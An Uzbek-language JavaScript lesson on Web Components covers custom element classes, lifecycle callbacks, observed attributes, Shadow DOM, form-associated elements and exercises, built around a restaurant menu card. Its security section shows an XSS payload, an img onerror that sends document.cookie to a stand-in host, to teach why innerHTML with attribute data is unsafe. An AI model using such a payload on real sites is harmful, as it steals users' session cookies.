IlmHamroh
JavaScript Full-stack/13-qism. Brauzer API'lari, performans va xavfsizlik25/32-dars23 daqiqa
Mundarija (37)

Web Components JavaScript'da: custom element klassi, hayot sikli va atributlar

Qisqacha: Custom element — HTMLElement dan meros olgan klass, customElements.define("dish-card", DishCard) bilan ro'yxatga yoziladi. Brauzer uni o'zi chaqiradi: constructor (yaratildi), connectedCallback (sahifaga qo'shildi), disconnectedCallback (olib tashlandi), attributeChangedCallback (observedAttributes dagi atribut o'zgardi). Ichki tuzilma — attachShadow() bilan Shadow DOM'da, tashqariga xabar — CustomEvent (bubbles va composed) bilan.

Bu darsda

  • HTMLElement dan meros olib, o'z tegingizni ro'yxatdan o'tkaza olasiz va konstruktor qoidalarini bilasiz.
  • Hayot sikli callback'lari qachon va qaysi tartibda chaqirilishini tushuntira olasiz.
  • Atributlarni observedAttributes bilan kuzatib, ularni xususiyatlar (property) bilan bog'lay olasiz.
  • attachShadow, template va slotlar bilan «Bahor» <dish-card> komponentini qura olasiz.
  • Komponentdan tashqariga CustomEvent yubora olasiz va formaga bog'langan element yasay olasiz.

Oldin bilishingiz kerak: Web Components'ga kirish, Meros: extends va super, Getter/setter va static, Atributlar, xususiyatlar va dataset, Custom events va EventTarget.

1. Nega bu kerak?

O'tgan darsda <dish-card> ni Declarative Shadow DOM bilan yozdik. Hamkor sahifasining stili endi uni buzmaydi. Lekin Sardor yangi muammoga duch keldi.

«Bahor» menyusida 30 ta taom bor. Har bir karta uchun template ichidagi stil va tuzilmani qayta yozish kerak — 30 marta. Dizayn o'zgarsa, 30 joyni tuzatish kerak. Bundan tashqari, karta hech narsa qila olmaydi: «Savatga» tugmasi bosilsa — jim. Narx 35000 deb yozilsa, uni 35 000 so'm qilib ko'rsatmaydi. Taom tugasa, kartani kulrang qilish uchun ham qo'lda HTML o'zgartirish kerak.

Jasur aka xohlaydigan narsa shunday sodda:

html
<dish-card name="Osh" price="35000"></dish-card>
<dish-card name="Manti" price="30000" sold-out></dish-card>

Bitta qator — tayyor, bezakli, ishlaydigan karta. Qolip, stil va xatti-harakat bitta joyda yoziladi: JavaScript klassida. Bugun shu klassni yozamiz.

2. Birinchi custom element

2.1 Klass va define

Custom element — oddiy klass, u HTMLElement dan meros oladi:

html
<style>
  body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
</style>
<greeting-message name="Malika"></greeting-message>
<greeting-message></greeting-message>
<script>
  class GreetingMessage extends HTMLElement {
    connectedCallback() {
      const name = this.getAttribute("name") ?? "mehmon";
      this.textContent = `Xush kelibsiz, ${name}!`;
    }
  }

  customElements.define("greeting-message", GreetingMessage);
  console.log(document.querySelector("greeting-message").textContent);
</script>

Konsolda:

text
Xush kelibsiz, Malika!

Ekranda ikki qator: "Xush kelibsiz, Malika!" va "Xush kelibsiz, mehmon!".

Qatorma-qator:

  • class GreetingMessage extends HTMLElement — klassimiz brauzerning hamma HTML elementlari asosidan meros oladi. Shu tufayli this — haqiqiy DOM elementi: unda getAttribute, textContent, addEventListener va boshqa hamma narsa bor.
  • connectedCallback() — brauzer uni element sahifaga qo'shilganda o'zi chaqiradi. Biz chaqirmaymiz. Bunday metodlar hayot sikli callback'lari (lifecycle callbacks) deyiladi.
  • customElements.define("greeting-message", GreetingMessage) — "greeting-message tegi uchun shu klassni ishlat". customElements — window dagi tayyor obyekt, o'tgan darsdagi CustomElementRegistry ro'yxati.
  • console.log define dan keyin turibdi va matn allaqachon tayyor. Sahifadagi ikki teg define paytida upgrade qilindi — har biriga darhol connectedCallback chaqirildi.

Klass nomi (GreetingMessage) va teg nomi (greeting-message) bir-biriga bog'liq emas — ularni faqat define bog'laydi. Lekin odat bor: teg — klass nomining kichik harfli, defisli shakli ("greeting message" — "salomlashish xabari"). Shunda sahifada tegni ko'rgan dasturchi uning klassini darhol topadi. Atribut va hodisa nomlari ham inglizcha (name="Malika", sold-out, add-to-cart). Ma'lumot qiymatlari va ekrandagi matn esa o'zbekcha qoladi.

2.2 Konstruktor qoidalari

Klassga constructor ham yozish mumkin. U element yaratilganda chaqiriladi. Lekin custom element konstruktorida qat'iy qoidalar bor:

  1. Birinchi qator — super(). Busiz this ishlamaydi (Meros darsidagi qoida).
  2. Konstruktorda elementning o'z atributlari va farzandlarini o'zgartirmang. this.setAttribute, this.textContent = …, this.append — konstruktorda yo'q.
  3. Atributlarni o'qishga ham tayanmang: document.createElement bilan yaratilganda ular hali bo'sh.

Ikkinchi qoida buzilsa, Chrome 154 da document.createElement xato beradi:

text
Uncaught NotSupportedError: Failed to execute 'createElement' on 'Document': The result must not have attributes

Tarjimasi: "Natijada atributlar bo'lmasligi kerak". Farzand qo'shilsa — The result must not have children ("natijada farzandlar bo'lmasligi kerak"). Nega bunday qoida? Brauzer createElement dan "toza" element kutadi. HTML'dagi <dish-card name="Osh"> ni o'qiyotgan parser ham atributlarni konstruktordan keyin o'zi qo'yadi.

Konstruktorda nima qilsa bo'ladi? Holatni (#count = 0 kabi) tayyorlash, hodisa tinglovchisini this ga qo'shish va Shadow DOM yaratish. Shadow root — elementning farzandi emas, shuning uchun u ruxsat etilgan. Atributga va farzandlarga bog'liq hamma ish — connectedCallback da.

Tekshirib ko'ring: Nega GreetingMessage misolida ismni konstruktorda emas, connectedCallback da o'qidik?

Javob

Ikki sabab. Birinchisi: document.createElement("greeting-message") bilan yaratilganda konstruktor paytida name atributi hali yo'q — u keyinroq setAttribute bilan qo'yiladi. Ikkinchisi: this.textContent = … — elementga farzand (matn) qo'shish, konstruktorda bu taqiqlangan. connectedCallback paytida esa element sahifada, atributlari joyida.

3. Hayot sikli

3.1 To'rt asosiy callback

Callback Brauzer qachon chaqiradi
constructor() Element yaratilganda yoki upgrade qilinganda
connectedCallback() Element sahifaga (hujjatga) qo'shilganda
disconnectedCallback() Element sahifadan olib tashlanganda
attributeChangedCallback(nom, eski, yangi) Kuzatilayotgan atribut o'zgarganda

Yana ikkitasi kam ishlatiladi: adoptedCallback() — element boshqa hujjatga (masalan, iframe ichiga) ko'chirilganda; connectedMoveCallback() — u haqda pastda.

stateDiagram-v2
  [*] --> Yaratildi: constructor
  Yaratildi --> Sahifada: connectedCallback
  Sahifada --> Sahifada: attributeChangedCallback
  Sahifada --> Tashqarida: disconnectedCallback
  Tashqarida --> Sahifada: connectedCallback
  Tashqarida --> [*]

Nimaga qarang: connectedCallback bir martalik emas. Element olib tashlanib, qayta qo'shilsa — u yana chaqiriladi. Bu keyinroq muhim tuzoq bo'ladi.

3.2 observedAttributes

attributeChangedCallback hamma atribut uchun chaqirilmaydi. Brauzer faqat siz aytgan atributlarni kuzatadi. Ro'yxat — klassning statik xususiyatida:

js
class DishCard extends HTMLElement {
  static observedAttributes = ["name", "price", "sold-out"];

  attributeChangedCallback(name, oldValue, newValue) {
    // name — "price", oldValue — "35000", newValue — "38000"
  }
}

Ro'yxatda yo'q atribut (class, id, data-…) o'zgarsa — callback jim. Bu tejamkorlik uchun: aks holda har class o'zgarishida keraksiz ish bo'lardi.

Bo'sh joyni to'ldiring: karta sold-out atributi o'zgarganini bilishi uchun "sold-out" so'zi static ro'yxatida bo'lishi kerak.

Uchta qiymat ham satr yoki null. Atribut yangi qo'yilsa, oldValue — null. Olib tashlansa, newValue — null. Chrome'da tekshirdik: bir xil qiymatni qayta yozish ham ("somsa" → "somsa") callback'ni chaqiradi — brauzer qiymatni solishtirmaydi.

3.3 Hayot siklini o'z ko'zingiz bilan ko'ring

Oynada <lifecycle-log> elementi bor. U har bir callback'da konsolga yozadi. Tugmalarni ketma-ket bosing:

html
<style>
  body { font: 0.95rem/1.4 system-ui, sans-serif; margin: 1rem; }
  .zone { border: 2px dashed #9ab09a; padding: 0.5rem;
    margin-bottom: 0.5rem; min-height: 2rem; }
  lifecycle-log { display: inline-block; padding: 0.2rem 0.6rem;
    background: #e8f3e8; border-radius: 0.3rem; }
  button { font: inherit; padding: 0.3rem 0.6rem; margin: 0.15rem; }
</style>
<div class="zone" id="a">
  <lifecycle-log price="35000">Osh</lifecycle-log>
</div>
<div class="zone" id="b"></div>
<button id="move" type="button">B ga ko'chirish (append)</button>
<button id="moveBefore" type="button">
  A ga ko'chirish (moveBefore)
</button>
<button id="price" type="button">Narxni o'zgartirish</button>
<button id="remove" type="button">O'chirish</button>
<script>
  class LifecycleLog extends HTMLElement {
    static observedAttributes = ["price"];

    constructor() {
      super();
      console.log("constructor");
    }
    connectedCallback() {
      console.log(`connected → ${this.parentElement.id}`);
    }
    disconnectedCallback() {
      console.log("disconnected");
    }
    connectedMoveCallback() {
      console.log(`connectedMove → ${this.parentElement.id}`);
    }
    attributeChangedCallback(name, oldValue, newValue) {
      const change = `${name} ${oldValue} → ${newValue}`;
      console.log(`attributeChanged: ${change}`);
    }
  }
  customElements.define("lifecycle-log", LifecycleLog);

  const item = document.querySelector("lifecycle-log");
  const zoneA = document.getElementById("a");
  const zoneB = document.getElementById("b");
  document.getElementById("move").onclick = () => zoneB.append(item);
  document.getElementById("moveBefore").onclick = () =>
    zoneA.moveBefore(item, null);
  document.getElementById("price").onclick = () =>
    item.setAttribute("price", "38000");
  document.getElementById("remove").onclick = () => item.remove();
</script>

Sahifa ochilganda:

text
constructor
attributeChanged: price null → 35000
connected → a

Bu — upgrade tartibi. Element HTML'da define dan oldin bor edi. Brauzer avval konstruktorni chaqirdi, keyin har bir kuzatilgan atribut uchun attributeChangedCallback ni (null → 35000, chunki brauzer uchun bu atribut "yangi"), oxirida connectedCallback. Demak, connectedCallback paytida atributlar allaqachon o'qilgan bo'ladi.

Tugmalarni chapdan o'ngga bosganda sinovimizda konsolga shu chiqdi:

text
disconnected
connected → b
connectedMove → a
attributeChanged: price 35000 → 38000
disconnected
  • Oddiy ko'chirish (append) — aslida ikki ish: olib tashlash va qo'shish. Shuning uchun disconnected va connected ikkalasi.
  • moveBefore — yangi metod: elementni holatini yo'qotmasdan ko'chiradi. Klassda connectedMoveCallback bo'lsa, faqat shu bitta callback chaqiriladi. Bo'lmasa — oddiy disconnected + connected (Chrome'da tekshirdik). moveBefore Chrome 133 va Firefox 144 dan bor, Safari'da hali yo'q — Baseline emas (web-features 3.40). Hozircha faqat bilib qo'ying.
  • remove() dan keyin element xotirada qoladi (item o'zgaruvchisi uni ushlab turibdi), lekin sahifada emas.

Tekshirib ko'ring: observedAttributes da "price" yo'q bo'lsa, «Narxni o'zgartirish» bosilganda nima chiqadi? Sahifa ochilganda-chi?

Javob

Ikkala holatda ham attributeChanged qatori chiqmaydi. Atribut DOM'da o'zgaradi (getAttribute("price") — "38000"), lekin brauzer bu haqda klassga xabar bermaydi — u kuzatilmayapti. Sahifa ochilganda faqat constructor va connected → a chiqadi.

4. Shadow DOM JavaScript'dan

4.1 attachShadow

O'tgan darsda shadow root'ni HTML'da yozdik. JavaScript'dagi teng kuchli yo'li — attachShadow:

js
const root = this.attachShadow({ mode: "open" });
  • mode: "open" — DSD'dagi shadowrootmode="open" bilan bir xil. this.shadowRoot dan keyin ham olish mumkin.
  • Opsiyalar DSD atributlariga mos: delegatesFocus: true, clonable: true, serializable: true.
  • Bir elementga ikkinchi marta attachShadow — xato: Shadow root cannot be created on a host which already hosts a shadow tree. ("Allaqachon shadow daraxti bor host'da shadow root yaratib bo'lmaydi").

Bitta istisno bor va u foydali. Element HTML'da DSD bilan kelgan bo'lsa, attachShadow xato bermaydi. U o'sha deklarativ shadow root'ni tozalab qaytaradi — Chrome'da tekshirdik. Shuning uchun server DSD yuborgan bo'lsa, uni saqlab qolish uchun avval tekshiring:

js
constructor() {
  super();
  // DSD bilan kelgan bo'lsa — o'shani olamiz, aks holda yaratamiz
  this.root = this.shadowRoot ?? this.attachShadow({ mode: "open" });
}

Bu naqsh hydration ("jonlantirish") deyiladi: server tayyorlagan HTML'ga keyin JavaScript xatti-harakat qo'shadi. React'da ham shu so'z bilan uchratasiz.

4.2 Qolipni bir marta yozish

Har karta uchun qolipni template dan nusxalaymiz. Qolip modul darajasida bir marta yaratiladi, keyin har bir nusxa uchun cloneNode(true) — Ko'p elementni samarali chizish darsidagi usul:

js
const template = document.createElement("template");
template.innerHTML = `
  <style> h3 { margin: 0; } </style>
  <h3 class="name"></h3>
  <slot></slot>`;

// konstruktorda:
this.root.append(template.content.cloneNode(true));

Bu yerda innerHTML xavfsiz: matn bizniki, foydalanuvchidan kelmaydi. Foydalanuvchi ma'lumoti (taom nomi) esa keyin textContent bilan yoziladi. Nega bu muhim — «Hujumchi nigohi» bo'limida.

5. «Bahor»: <dish-card>

5.1 To'liq komponent

Hamma qismlarni birlashtiramiz. Karta:

  • name va price atributlarini ko'rsatadi (narx bo'sh joy bilan ajratilgan);
  • sold-out atributi bo'lsa — xira va tugmasi o'chiq;
  • tavsifni slot orqali oladi;
  • «Savatga» bosilganda tashqariga add-to-cart hodisasini yuboradi.
html
<style>
  body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
  dish-card { margin-bottom: 0.75rem; }
</style>
<p id="cart">Savatda: 0 ta taom</p>
<dish-card name="Osh" price="35000">
  Guruch, sabzi va mol go'shti, zig'ir yog'ida.
</dish-card>
<dish-card name="Manti" price="30000" sold-out>
  Qovoqli, bug'da pishgan.
</dish-card>
<script>
  const template = document.createElement("template");
  template.innerHTML = `
    <style>
      :host { display: block; padding: 0.75rem 1rem;
        border: 1px solid #c8d6c8; border-radius: 0.5rem; }
      :host([sold-out]) { opacity: 0.5; }
      h3 { margin: 0; color: #2e7d32; }
      .price { font-weight: 700; margin: 0.25rem 0; }
      button { font: inherit; padding: 0.3rem 0.8rem; }
    </style>
    <h3 class="name"></h3>
    <p class="price"></p>
    <slot></slot>
    <p><button type="button">Savatga</button></p>`;

  function formatPrice(value) {
    const digits = String(value)
      .replace(/\B(?=(\d{3})+(?!\d))/g, " ");
    return `${digits} so'm`;
  }

  class DishCard extends HTMLElement {
    static observedAttributes = ["name", "price", "sold-out"];

    constructor() {
      super();
      this.root = this.shadowRoot
        ?? this.attachShadow({ mode: "open" });
      this.root.append(template.content.cloneNode(true));
      this.button = this.root.querySelector("button");
      this.button.addEventListener("click", () => this.#addToCart());
    }

    attributeChangedCallback() {
      this.#render();
    }

    #render() {
      const name = this.getAttribute("name") ?? "Nomsiz taom";
      const price = Number(this.getAttribute("price") ?? 0);
      this.root.querySelector(".name").textContent = name;
      const priceText = formatPrice(price);
      this.root.querySelector(".price").textContent = priceText;
      this.button.disabled = this.hasAttribute("sold-out");
    }

    #addToCart() {
      this.dispatchEvent(new CustomEvent("add-to-cart", {
        bubbles: true,
        composed: true,
        detail: {
          name: this.getAttribute("name"),
          price: Number(this.getAttribute("price")),
        },
      }));
    }
  }
  customElements.define("dish-card", DishCard);

  let count = 0;
  document.addEventListener("add-to-cart", (event) => {
    count++;
    document.getElementById("cart").textContent =
      `Savatda: ${count} ta taom`;
    const { name, price } = event.detail;
    console.log(`Qo'shildi: ${name}, ${price}`);
  });
</script>

Ekranda ikki karta: "Osh — 35 000 so'm" va xira "Manti — 30 000 so'm", uning tugmasi o'chiq. Osh kartasidagi «Savatga» ni bosing — yuqoridagi yozuv "Savatda: 1 ta taom" bo'ladi. Sinovimizda ikki bosishdan keyin konsol:

text
Qo'shildi: Osh, 35000
Qo'shildi: Osh, 35000

Manti tugmasini bosish hech narsa qilmadi — disabled tugma click hodisasini bermaydi.

5.2 Kodni o'qiymiz

  • Qolip tashqarida. template bir marta yaratildi — 30 ta karta bo'lsa ham, HTML matn bir marta tahlil qilinadi. Har karta faqat cloneNode(true) qiladi.
  • Konstruktorda faqat shadow. Shadow root, qolip nusxasi va tugma tinglovchisi — hammasi ruxsat etilgan. Elementning o'z atributlariga tegmadik.
  • attributeChangedCallback → #render(). Upgrade paytida har bir mavjud atribut uchun callback chaqiriladi, shuning uchun alohida "birinchi chizish" kerak bo'lmadi. Keyin setAttribute("price", "38000") qilinsa, karta o'zi yangilanadi. #render — private metod: tashqaridan chaqirib bo'lmaydi.
  • :host va :host([sold-out]). Bu — shadow ichidan host'ning o'zini bezash. Batafsil — keyingi darsda.
  • textContent bilan yozish. Taom nomi qanday bo'lmasin, u matn bo'lib chiqadi.
  • Hodisa. bubbles: true — DOM bo'ylab yuqoriga ko'tariladi. composed: true — shadow chegarasidan tashqariga chiqadi. detail — hodisa bilan birga keladigan ma'lumot. Bu Custom events darsidagi va'da edi: komponent tashqi dunyo bilan faqat atributlar (kirish) va hodisalar (chiqish) orqali gaplashadi.

Bitta nozik joy: hodisani tugma emas, host (this) yubordi. Shuning uchun aslida composed bu yerda shart emas edi — this allaqachon light DOM'da. Agar hodisani shadow ichidagi tugmadan yuborsak, composed: true siz u shadow root'da to'xtardi. Chrome'da tekshirdik: composed siz host'dagi va document dagi tinglovchilar hodisani olmadi. Ikkala opsiyani yozib qo'yish — xavfsiz odat.

Tekshirib ko'ring: Konsolda document.querySelectorAll("dish-card")[1].removeAttribute("sold-out") yozilsa, Manti kartasida nima o'zgaradi?

Javob

sold-out — kuzatilgan atribut. Brauzer attributeChangedCallback("sold-out", "", null) ni chaqiradi, u #render() ni ishga tushiradi: hasAttribute("sold-out") endi false, tugma yoqiladi. Xiralik ham yo'qoladi — :host([sold-out]) qoidasi endi mos kelmaydi. Atribut qiymati bo'sh satr edi (sold-out qiymatsiz yozilgan), shuning uchun oldValue — "".

6. Atributlar va xususiyatlar

Atributlar va xususiyatlar darsida farqni ko'rgan edik: atribut — HTML'dagi matn, xususiyat — JS obyektidagi qiymat. Oddiy <input> da ular bog'langan: input.value va value atributi. O'z elementingizda bu bog'lanishni o'zingiz yozasiz:

js
class DishCard extends HTMLElement {
  get price() {
    return Number(this.getAttribute("price") ?? 0);
  }
  set price(value) {
    this.setAttribute("price", String(value));
  }

  get soldOut() {
    return this.hasAttribute("sold-out");
  }
  set soldOut(value) {
    this.toggleAttribute("sold-out", Boolean(value));
  }
}

Endi card.price = 38000 yozilsa, setter atributni o'zgartiradi, u esa attributeChangedCallback ni uyg'otadi — karta qayta chiziladi. Bu naqsh reflection ("aks ettirish") deyiladi: xususiyat va atribut doim bir xil.

Qoidalar:

  • Oddiy qiymatlar (son, satr, mantiqiy) — atribut orqali. Ularni HTML'da yozish qulay.
  • Mantiqiy atribut — qiymati emas, bor-yo'qligi muhim: hasAttribute va toggleAttribute. sold-out="false" — baribir "bor", ya'ni true. Bu disabled va required dagi qoida bilan bir xil.
  • Murakkab ma'lumot (massiv, obyekt) — faqat xususiyat orqali. Atributga JSON yozish mumkin, lekin noqulay va sekin.

7. Tozalash: disconnectedCallback

Komponent o'zidan tashqaridagi narsaga tinglovchi qo'ysa (window, document) yoki taymer ochsa, olib tashlanganda ularni yopishi kerak. Aks holda element sahifadan ketsa ham, tinglovchi uni xotirada ushlab turadi — Xotira sizishlari darsidagi klassik holat.

Eng qulay yo'l — signal opsiyasi va AbortController:

js
class NetworkStatus extends HTMLElement {
  #controller = null;

  connectedCallback() {
    this.#controller = new AbortController();
    const { signal } = this.#controller;
    const update = () => this.#update();
    window.addEventListener("online", update, { signal });
    window.addEventListener("offline", update, { signal });
    this.#update();
  }

  disconnectedCallback() {
    this.#controller.abort(); // hamma tinglovchi olib tashlandi
  }

  #update() {
    this.textContent = navigator.onLine ? "Aloqa bor" : "Aloqa yo'q";
  }
}

E'tibor bering: tinglovchilar connectedCallback da qo'shiladi, konstruktorda emas. Element ko'chirilganda disconnected keyin yana connected chaqiriladi — tinglovchilar olib tashlanib, qayta qo'shiladi. Konstruktorda qo'shilsa, ko'chirishdan keyin ular yo'qolgan bo'lardi.

Qoida: connectedCallback da nima ochsangiz, disconnectedCallback da yoping.

8. Formaga bog'langan element

8.1 Va'da: <star-rating>

Holat pseudo-klasslari darsida yulduzli baho tegini :defined misolida ko'rgan edik — u yerda nomi <yulduz-baho> edi. Endi uni klassi bilan bir xil nomlaymiz: StarRating → <star-rating>.

Zamonaviy forma imkoniyatlari darsida formaga bog'langan maxsus element (form-associated custom element) haqida aytgan edik: uning qiymati forma bilan birga yuboriladi, required bilan tekshiriladi. Endi uni yozamiz. Kerak bo'ladigan uch narsa:

  • static formAssociated = true — "bu element forma maydoni".
  • this.attachInternals() — ElementInternals obyekti, element va forma orasidagi "ko'prik". U faqat bir marta chaqiriladi.
  • internals.setFormValue(qiymat) — formaga yuboriladigan qiymat. internals.setValidity(…) — tekshiruv holati.

8.2 Kod

html
<style>
  body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
  button { font: inherit; }
</style>
<form id="review">
  <p>«Bahor»ni baholang:</p>
  <star-rating name="rating" required></star-rating>
  <p>
    <button>Yuborish</button>
    <button type="reset">Tozalash</button>
  </p>
</form>
<script>
  class StarRating extends HTMLElement {
    static formAssociated = true;
    #internals = this.attachInternals();
    #value = 0;

    constructor() {
      super();
      const root = this.attachShadow({ mode: "open" });
      for (let i = 1; i <= 5; i++) {
        const star = document.createElement("button");
        star.type = "button";
        star.textContent = "☆";
        star.setAttribute("aria-label", `${i} yulduz`);
        star.addEventListener("click", () => this.#select(i));
        root.append(star);
      }
    }

    connectedCallback() {
      this.#select(0);
    }

    #select(value) {
      this.#value = value;
      const stars = this.shadowRoot.querySelectorAll("button");
      stars.forEach((star, index) => {
        star.textContent = index < value ? "★" : "☆";
        star.setAttribute("aria-pressed", String(index < value));
      });
      this.#internals.setFormValue(value ? String(value) : null);
      if (this.hasAttribute("required") && !value) {
        this.#internals.setValidity(
          { valueMissing: true }, "Iltimos, baho tanlang", stars[0]);
      } else {
        this.#internals.setValidity({});
      }
    }

    formResetCallback() {
      this.#select(0);
    }
  }
  customElements.define("star-rating", StarRating);

  const form = document.getElementById("review");
  form.addEventListener("submit", (event) => {
    event.preventDefault();
    const data = new FormData(form);
    console.log("Yuborildi, baho:", data.get("rating"));
  });
  console.log("Forma to'g'rimi:", form.checkValidity());
</script>

Konsolda:

text
Forma to'g'rimi: false

Sinab ko'ring:

  • Hech narsa tanlamay «Yuborish» ni bosing. Brauzer formani yubormaydi va birinchi yulduz yonida "Iltimos, baho tanlang" pufakchasini ko'rsatadi — xuddi bo'sh required maydondagidek.
  • To'rtinchi yulduzni bosib, «Yuborish» ni bosing. Konsolga Yuborildi, baho: 4 chiqadi. Sinovimizda aynan shunday chiqdi.
  • «Tozalash» — brauzer formResetCallback ni chaqiradi, yulduzlar bo'shaydi.

Qatorma-qator muhimlari:

  • #internals = this.attachInternals() — private maydon. ElementInternals tashqariga ochilmasligi kerak: aks holda begona kod formaga istalgan qiymatni yozib qo'yadi.
  • setFormValue(null) — "qiymat yo'q", forma bu maydonni umuman yubormaydi.
  • setValidity({ valueMissing: true }, xabar, langar) — maydon "to'ldirilmagan" holatida. Uchinchi argument — xato pufakchasi qaysi ichki element yonida chiqishi. setValidity({}) — "hammasi joyida".
  • Har bir yulduz — haqiqiy button, aria-label va aria-pressed bilan. Bobur Tab bilan o'tib, Enter bilan tanlaydi. Malika NVDA'da "3 yulduz, tugma, bosilgan" kabi eshitadi.

Formaga bog'langan elementlar 2023-yil martidan Baseline, 2025-yil sentabridan widely available (web-features 3.40).

9. Ro'yxat bilan ishlash: whenDefined va boshqalar

customElements ning yana uchta foydali metodi:

  • customElements.get("dish-card") — ro'yxatdagi klass yoki undefined.
  • customElements.whenDefined("dish-card") — Promise: teg ro'yxatdan o'tganda bajariladi. Komponent skripti alohida yuklansa, unga tayanadigan kodni shu bilan kutasiz.
  • customElements.upgrade(element) — hali sahifaga qo'shilmagan elementni darhol upgrade qiladi. Kam kerak bo'ladi.
js
await customElements.whenDefined("dish-card");
document.querySelector("dish-card").price = 38000; // endi setter bor

Bir nom faqat bir marta ro'yxatdan o'tadi. Ikkinchi define xato beradi: the name "dish-card" has already been used with this registry ("bu nom ro'yxatda allaqachon ishlatilgan"). Bitta klassni ikki nom bilan ro'yxatdan o'tkazib ham bo'lmaydi. Yangi imkoniyat — scoped registry (har shadow root uchun alohida ro'yxat) Chrome 146 va Safari 26 da paydo bo'ldi, lekin hali Baseline emas.

10. Hujumchi nigohi

Komponent atributni HTML'ga qo'shib yozsa, u XSS eshigiga aylanadi. Sardor birinchi versiyada shunday yozgan edi:

js
// ❌ xavfli: atribut HTML sifatida tahlil qilinadi
#render() {
  this.root.innerHTML = `<h3>${this.getAttribute("name")}</h3>`;
}

Taom nomlari admin panelidan keladi. Hujumchi admin akkauntiga kirib olsa yoki nom foydalanuvchi sharhidan olinsa, nom o'rniga shunday matn yoziladi:

html
<img src="x"
  onerror="fetch('https://example.com/?c=' + document.cookie)">

innerHTML uni haqiqiy img qiladi. Rasm yuklanmaydi, onerror ishlaydi va hujumchining kodi «Bahor» sahifasida, «Bahor» huquqlari bilan bajariladi. Shadow DOM bundan himoya qilmaydi: shadow ichidagi skript ham sahifaning o'z skripti hisoblanadi.

Bizning <dish-card> qolipni bir marta, o'z matnimizdan yasaydi. Ma'lumot esa faqat textContent bilan yoziladi — u hech qachon HTML bo'lib tahlil qilinmaydi. Shu sabab «Bahor» kartasida innerHTML faqat template uchun, ${…} qo'yilmasdan ishlatilgan. XSS'ni chuqur XSS va DOM xavfsizligi darsida ko'ramiz.

11. Lit va freymvorklar

Qo'lda yozilgan komponentda ko'p takroriy kod bor: observedAttributes, getter/setter, #render ni qo'lda chaqirish. Lit kutubxonasi shularni o'zi qiladi: siz xususiyatlarni e'lon qilasiz, Lit ularni kuzatadi va faqat o'zgargan joyni qayta chizadi. U Tagged template literals darsidagi html tegi ustiga qurilgan. Lit'ni hozir o'rganish shart emas: siz endi uning ichida nima bo'layotganini bilasiz — HTMLElement, hayot sikli va Shadow DOM.

Web Components React bilan ham ishlaydi: React 19 custom element'larga xususiyat va hodisalarni to'g'ri uzatadi. React'ni 17-qismdan o'rganamiz.

12. Ko'p uchraydigan xatolar

12.1 Konstruktorda atribut yoki farzand

this.textContent = … yoki this.setAttribute(…) konstruktorda → createElement bilan yaratilganda The result must not have children / The result must not have attributes. HTML'dagi teg bilan esa ishlab ketadi — shuning uchun xato kech topiladi. Tuzatish: bunday ishni connectedCallback ga yoki shadow root'ga ko'chiring.

12.2 super() ni unutish

text
Uncaught ReferenceError: Must call super constructor in derived class before accessing 'this' or returning from derived constructor

Tarjimasi: "Hosila klassda this ga murojaat qilishdan yoki konstruktordan qaytishdan oldin ota konstruktorni chaqirish kerak". Meros darsidagi xato — bu yerda ham. Tuzatish: konstruktorning birinchi qatori super();.

12.3 observedAttributes ni unutish

attributeChangedCallback yozilgan, lekin hech qachon chaqirilmaydi. Belgisi: atribut o'zgaradi, karta esa eski holatda. Tuzatish: static observedAttributes = [...] ro'yxatini tekshiring.

12.4 connectedCallback bir marta deb o'ylash

Tinglovchi connectedCallback da qo'shiladi, disconnectedCallback da olib tashlanmaydi. Element ko'chirilganda tinglovchi ikkinchi marta qo'shiladi — tugma bosilganda ish ikki marta bajariladi. Tuzatish: AbortController bilan yoping («Tozalash» bo'limi) yoki this ga konstruktorda bir marta qo'shing.

12.5 Klassni new bilan yaratish

define qilinmagan klass uchun new DishCard() — Illegal constructor ("ruxsat etilmagan konstruktor"). define dan keyin new DishCard() ishlaydi, lekin odatiy yo'l — document.createElement("dish-card").

13. Mashqlar

1-mashq (oson): Narx belgisi

<price-badge price="35000"></price-badge> elementini yozing. U 35 000 so'm matnini ko'rsatsin va price atributi o'zgarganda yangilansin. Shadow DOM shart emas — textContent yetarli. Sahifa ochilganda setAttribute("price", "1250000") qilib, konsolga element matnini chiqaring.

Ishora: static observedAttributes = ["price"], attributeChangedCallback ichida this.textContent = …. Bu yerda farzand qo'shish konstruktorda emas, callback'da — ruxsat etilgan. Bo'sh joy bilan ajratish — «Bahor» kartasidagi formatPrice.

Yechim
html
<price-badge price="35000"></price-badge>
<script>
  function formatPrice(value) {
    const digits = String(value)
      .replace(/\B(?=(\d{3})+(?!\d))/g, " ");
    return `${digits} so'm`;
  }

  class PriceBadge extends HTMLElement {
    static observedAttributes = ["price"];

    attributeChangedCallback(name, oldValue, newValue) {
      this.textContent = formatPrice(Number(newValue ?? 0));
    }
  }
  customElements.define("price-badge", PriceBadge);

  const badge = document.querySelector("price-badge");
  console.log(badge.textContent);
  badge.setAttribute("price", "1250000");
  console.log(badge.textContent);
</script>

Konsolda:

text
35 000 so'm
1 250 000 so'm

connectedCallback kerak bo'lmadi: upgrade paytida price atributi uchun attributeChangedCallback baribir chaqiriladi.

2-mashq (o'rta): Porsiya tanlagich

<portion-picker> yarating: Shadow DOM ichida «−», son va «+» tugmalari. Son 1 dan 10 gacha bo'lsin (chegaradan chiqmasin). Har o'zgarishda element tashqariga portion-change hodisasini yuborsin, detail da { count }. Sahifa hodisani tinglab, konsolga Porsiya: N chiqarsin.

Ishora: hodisani shadow ichidagi tugmadan emas, this dan yuboring; bubbles: true, composed: true. Sonni #count private maydonida saqlang.

Yechim
html
<style>
  body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
</style>
<portion-picker></portion-picker>
<script>
  class PortionPicker extends HTMLElement {
    #count = 1;

    constructor() {
      super();
      const root = this.attachShadow({ mode: "open" });
      root.innerHTML = `
        <style> output { display: inline-block; width: 2ch;
          text-align: center; font-weight: 700; } </style>
        <button type="button" id="minus"
          aria-label="Kamaytirish">−</button>
        <output aria-live="polite">1</output>
        <button type="button" id="plus"
          aria-label="Ko'paytirish">+</button>`;
      root.getElementById("minus")
        .addEventListener("click", () => this.#change(-1));
      root.getElementById("plus")
        .addEventListener("click", () => this.#change(1));
    }

    #change(delta) {
      const next = Math.min(10, Math.max(1, this.#count + delta));
      if (next === this.#count) return;
      this.#count = next;
      this.shadowRoot.querySelector("output").textContent = next;
      this.dispatchEvent(new CustomEvent("portion-change", {
        bubbles: true,
        composed: true,
        detail: { count: next },
      }));
    }
  }
